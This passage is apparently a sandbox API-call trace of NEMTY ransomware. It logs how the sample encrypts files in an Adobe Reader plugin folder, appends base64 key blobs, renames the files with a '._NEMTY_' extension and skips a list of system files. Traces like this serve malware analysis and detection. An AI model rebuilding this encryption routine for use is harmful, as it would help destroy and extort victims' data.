pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0191.847] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e29c | out: pszString="C19KysAPzVFbxxVLaipOyqPpQ1prnUbzOBCuGB1q0B6WxxFrwYqVI+6er67vKhzq\r\nXUfoj1MI/eYvdfsbml0fi8TfjB45bF7OXKWRqObVGvdNGAE24dVBdfvaFrE2eGbp\r\nhMjG8dj07UYwpknZd8TG7WphmR8h20n34wmSR58tPl7+kC5VgqO+i31wRWi52hYI\r\nlupxLXFhwKn5OIeKsyY23QE9CBYWcPxDCElqOXX1bH++VOZ/vmHKLpXi8r7Lg9H7\r\njc2mdI7bo7H1W52pWhr3V8BEViUFIFSiWdb8md21BdqstznNvh0ktR0xFmiX/vNZ\r\njpLiU6NsaLh+A3VzzYuCRA==\r\n", pcchString=0x653e29c) returned 1 [0191.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0191.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.847] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\Flash.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\flash.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.848] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.848] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.848] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.849] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.849] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.850] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.850] WriteFile (in: hFile=0x2f0, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.850] CloseHandle (hObject=0x2f0) returned 1 [0191.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0191.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0191.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0191.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.850] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\Flash.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\flash.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\Flash.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\flash.hrv._nemty_kgobjgd_")) returned 1 [0191.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0191.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0191.851] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="MCIMPP.HRV", cAlternateFileName="")) returned 1 [0191.851] lstrcmpiW (lpString1="MCIMPP.HRV", lpString2=".") returned 1 [0191.851] lstrcmpiW (lpString1="MCIMPP.HRV", lpString2="..") returned 1 [0191.851] lstrcmpiW (lpString1="MCIMPP.HRV", lpString2="...") returned 1 [0191.851] lstrcmpiW (lpString1="MCIMPP.HRV", lpString2="windows") returned -1 [0191.851] lstrcmpiW (lpString1="MCIMPP.HRV", lpString2="$RECYCLE.BIN") returned 1 [0191.851] lstrcmpiW (lpString1="MCIMPP.HRV", lpString2="rsa") returned -1 [0191.851] lstrcmpiW (lpString1="MCIMPP.HRV", lpString2="NTDETECT.COM") returned -1 [0191.851] lstrcmpiW (lpString1="MCIMPP.HRV", lpString2="ntldr") returned -1 [0191.851] lstrcmpiW (lpString1="MCIMPP.HRV", lpString2="MSDOS.SYS") returned -1 [0191.851] lstrcmpiW (lpString1="MCIMPP.HRV", lpString2="IO.SYS") returned 1 [0191.851] lstrcmpiW (lpString1="MCIMPP.HRV", lpString2="boot.ini") returned 1 [0191.851] lstrcmpiW (lpString1="MCIMPP.HRV", lpString2="boot.ini") returned 1 [0191.851] lstrcmpiW (lpString1="MCIMPP.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0191.851] lstrcmpiW (lpString1="MCIMPP.HRV", lpString2="ntuser.dat") returned -1 [0191.851] lstrcmpiW (lpString1="MCIMPP.HRV", lpString2="desktop.ini") returned 1 [0191.851] lstrcmpiW (lpString1="MCIMPP.HRV", lpString2="CONFIG.SYS") returned 1 [0191.852] lstrcmpiW (lpString1="MCIMPP.HRV", lpString2="RECYCLER") returned -1 [0191.852] lstrcmpiW (lpString1="MCIMPP.HRV", lpString2="BOOTSECT.BAK") returned 1 [0191.852] lstrcmpiW (lpString1="MCIMPP.HRV", lpString2="bootmgr") returned 1 [0191.852] lstrcmpiW (lpString1="MCIMPP.HRV", lpString2="programdata") returned -1 [0191.852] lstrcmpiW (lpString1="MCIMPP.HRV", lpString2="appdata") returned 1 [0191.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.HRV", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.HRV", lpUsedDefaultChar=0x0) returned 10 [0191.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.HRV", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.HRV", lpUsedDefaultChar=0x0) returned 10 [0191.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.HRV", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.HRV", lpUsedDefaultChar=0x0) returned 10 [0191.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.HRV", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.HRV", lpUsedDefaultChar=0x0) returned 10 [0191.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0191.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0191.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0191.852] Sleep (dwMilliseconds=0x5) [0191.862] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x260173d0, dwHighDateTime=0x1d561e8)) [0191.862] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x260173d0, dwHighDateTime=0x1d561e8)) [0191.862] GetLastError () returned 0x0 [0191.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.862] GetLastError () returned 0x0 [0191.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.862] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.862] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.863] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0191.863] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e29c | out: pszString="bIiPb6FJRA9EocCrqJHIEkHrGrs2Y8nRE2JN1znDaYS939vpaXSzx0hPvH02NB+w\r\nB+ysZhAtb8sqDxJVGxpzazhMRhrCaHgECHS6sgltWUPL6M2byn8CUZN4pRQlufmu\r\nHJwkYo6HIMLFas4+MlFsuAgs5US04L694baTW0akmyO4uaFyXQgqbw1/tWi6mpK3\r\ntzkM8lMJETjyRWewr7efreEmckTeOtvOxdjn7aSeZF6ncLd4BJY/AH9cDoxJ3nHR\r\nfUC1eJI8B/fR2sENfobvV+29uOEhgFA4lxX/2sWp2KNMgadKJOyCR3TZ5PjAhz98\r\niE8yrxw3uWXyZVZ+4wEnug==\r\n", pcchString=0x653e29c) returned 1 [0191.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0191.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0191.863] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\MCIMPP.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\mcimpp.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.863] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=8192) returned 1 [0191.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0191.863] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.863] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x2000, lpOverlapped=0x0) returned 1 [0191.865] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.865] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x2000, lpOverlapped=0x0) returned 1 [0191.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0191.865] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0191.866] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.866] CloseHandle (hObject=0x2f0) returned 1 [0191.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0191.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0191.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0191.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.866] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\MCIMPP.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\mcimpp.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\MCIMPP.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\mcimpp.hrv._nemty_kgobjgd_")) returned 1 [0191.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0191.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0191.867] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.HRV", cAlternateFileName="QUICKT~1.HRV")) returned 1 [0191.867] lstrcmpiW (lpString1="QuickTime.HRV", lpString2=".") returned 1 [0191.867] lstrcmpiW (lpString1="QuickTime.HRV", lpString2="..") returned 1 [0191.867] lstrcmpiW (lpString1="QuickTime.HRV", lpString2="...") returned 1 [0191.867] lstrcmpiW (lpString1="QuickTime.HRV", lpString2="windows") returned -1 [0191.867] lstrcmpiW (lpString1="QuickTime.HRV", lpString2="$RECYCLE.BIN") returned 1 [0191.867] lstrcmpiW (lpString1="QuickTime.HRV", lpString2="rsa") returned -1 [0191.867] lstrcmpiW (lpString1="QuickTime.HRV", lpString2="NTDETECT.COM") returned 1 [0191.867] lstrcmpiW (lpString1="QuickTime.HRV", lpString2="ntldr") returned 1 [0191.867] lstrcmpiW (lpString1="QuickTime.HRV", lpString2="MSDOS.SYS") returned 1 [0191.867] lstrcmpiW (lpString1="QuickTime.HRV", lpString2="IO.SYS") returned 1 [0191.867] lstrcmpiW (lpString1="QuickTime.HRV", lpString2="boot.ini") returned 1 [0191.867] lstrcmpiW (lpString1="QuickTime.HRV", lpString2="boot.ini") returned 1 [0191.867] lstrcmpiW (lpString1="QuickTime.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0191.867] lstrcmpiW (lpString1="QuickTime.HRV", lpString2="ntuser.dat") returned 1 [0191.867] lstrcmpiW (lpString1="QuickTime.HRV", lpString2="desktop.ini") returned 1 [0191.867] lstrcmpiW (lpString1="QuickTime.HRV", lpString2="CONFIG.SYS") returned 1 [0191.867] lstrcmpiW (lpString1="QuickTime.HRV", lpString2="RECYCLER") returned -1 [0191.867] lstrcmpiW (lpString1="QuickTime.HRV", lpString2="BOOTSECT.BAK") returned 1 [0191.867] lstrcmpiW (lpString1="QuickTime.HRV", lpString2="bootmgr") returned 1 [0191.867] lstrcmpiW (lpString1="QuickTime.HRV", lpString2="programdata") returned 1 [0191.867] lstrcmpiW (lpString1="QuickTime.HRV", lpString2="appdata") returned 1 [0191.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.HRV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.HRV", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.HRV", lpUsedDefaultChar=0x0) returned 13 [0191.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.HRV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.HRV", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.HRV", lpUsedDefaultChar=0x0) returned 13 [0191.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.HRV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.HRV", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.HRV", lpUsedDefaultChar=0x0) returned 13 [0191.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.HRV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.HRV", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.HRV", lpUsedDefaultChar=0x0) returned 13 [0191.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0191.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0191.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0191.868] Sleep (dwMilliseconds=0x5) [0191.878] 